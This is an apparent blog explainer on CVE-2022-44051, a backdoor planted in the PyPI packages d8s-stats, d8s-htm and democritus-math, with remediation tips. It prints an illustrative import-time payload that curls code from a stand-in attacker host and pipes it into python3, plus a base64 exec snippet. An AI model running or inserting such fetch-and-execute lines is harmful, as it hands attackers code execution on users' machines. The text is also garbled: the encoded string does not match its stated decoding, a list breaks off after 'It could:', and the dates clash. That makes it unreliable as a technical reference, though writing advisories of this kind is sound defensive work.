CVE-2022-44051 - How a Malicious Backdoor Sneaked into d8s-stats and d8s-htm Python Packages

The Python world moves fast, and PyPI hosts millions of public packages you can install with just one command. But not all code is safe: sometimes, third parties sneak malicious payloads into packages you trust. Today, let's talk about CVE-2022-44051 and how it relates to the d8s-stats and d8s-htm PyPI packages.

What Happened?

In 2022, security researchers discovered that the Python package d8s-stats, distributed through PyPI, included a potential code-execution backdoor. This backdoor was inserted by a third party, not the original package maintainers.

The malicious code could execute arbitrary code when the package was imported—exposing every system where it was installed and run.

It wasn't an isolated case: other packages, like democritus-math and specifically version .1. of d8s-htm, were also affected.

How Did the Backdoor Work?

The attackers used the classic Python technique: code execution during import. They often hide malicious payloads in setup.py, __init__.py, or even as post-install hooks.

Let’s see a simplified example of the kind of code they might use. For illustration, here's a fake snippet similar to what was found:

# __init__.py

import os

os.system("curl http://malicious.example.com/payload.py | python3")

Or, using another trick, sometimes they’ll use base64-encoded data to hide their intent

import base64
exec(base64.b64decode('aW1wb3JIG9zOyBvcy5zeXNZWoJ2VjaG8gaGFja2VkIScp'))  # Decodes to: import os; os.system('echo hacked!')

In the real CVE case, the attackers could fetch and execute arbitrary code, steal sensitive files, or even open a reverse shell, giving themselves full control.

democritus-math: also mentioned in the context of potential backdoors

If you installed any of these packages or their dependencies, your system might be at risk.

November 2022: Security researchers began noticing unusual behaviors.

- December 2022: CVE-2022-44051 was assigned and NVD published the details.
- JFrog Security Blog covers how these and other packages were affected by supply chain attacks.
- NVD Entry for CVE-2022-44051

Imagine someone running this in a Jupyter notebook or on a server

import d8s_stats
# ... rest of your stats code

Without knowing it, the malicious code embedded in d8s-stats runs *as soon as you import it*. It could:

Audit Your Dependencies:

Use pip-audit or safety tools:

pip uninstall d8s-stats d8s-htm democritus-math

- Purge your environment: Sometimes, infected environments are safest thrown away. Start fresh if in doubt. - Rotate credentials: If you used these packages in projects handling secrets, change your passwords and tokens. - Read more: - PyPI's Response to Malware - Supply Chain Attack Explanation (JFrog Blog) --- ## Lessons Learned - Always check PyPI for package provenance. - Use virtual environments and avoid installing random packages globally. - Watch for suspicious package updates and "typosquatting" names. --- ## Final Words CVE-2022-44051 is a wake-up call for every Python developer. Trusting packages from public repositories is critical—but vigilance is vital. If you used d8s-stats, d8s-htm .1., or democritus-math`, take action now and learn to keep your Python projects safer in the future.

Stay safe out there!

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### References

- CVE-2022-44051 at NVD
- JFrog Security Blog: Python malware on PyPI: d8s-stats, democritus
- PyPI Security Announcement December 2022
- pip-audit PyPI Page

Timeline

Published on: 11/07/2022 15:15:00 UTC
Last modified on: 11/08/2022 16:23:00 UTC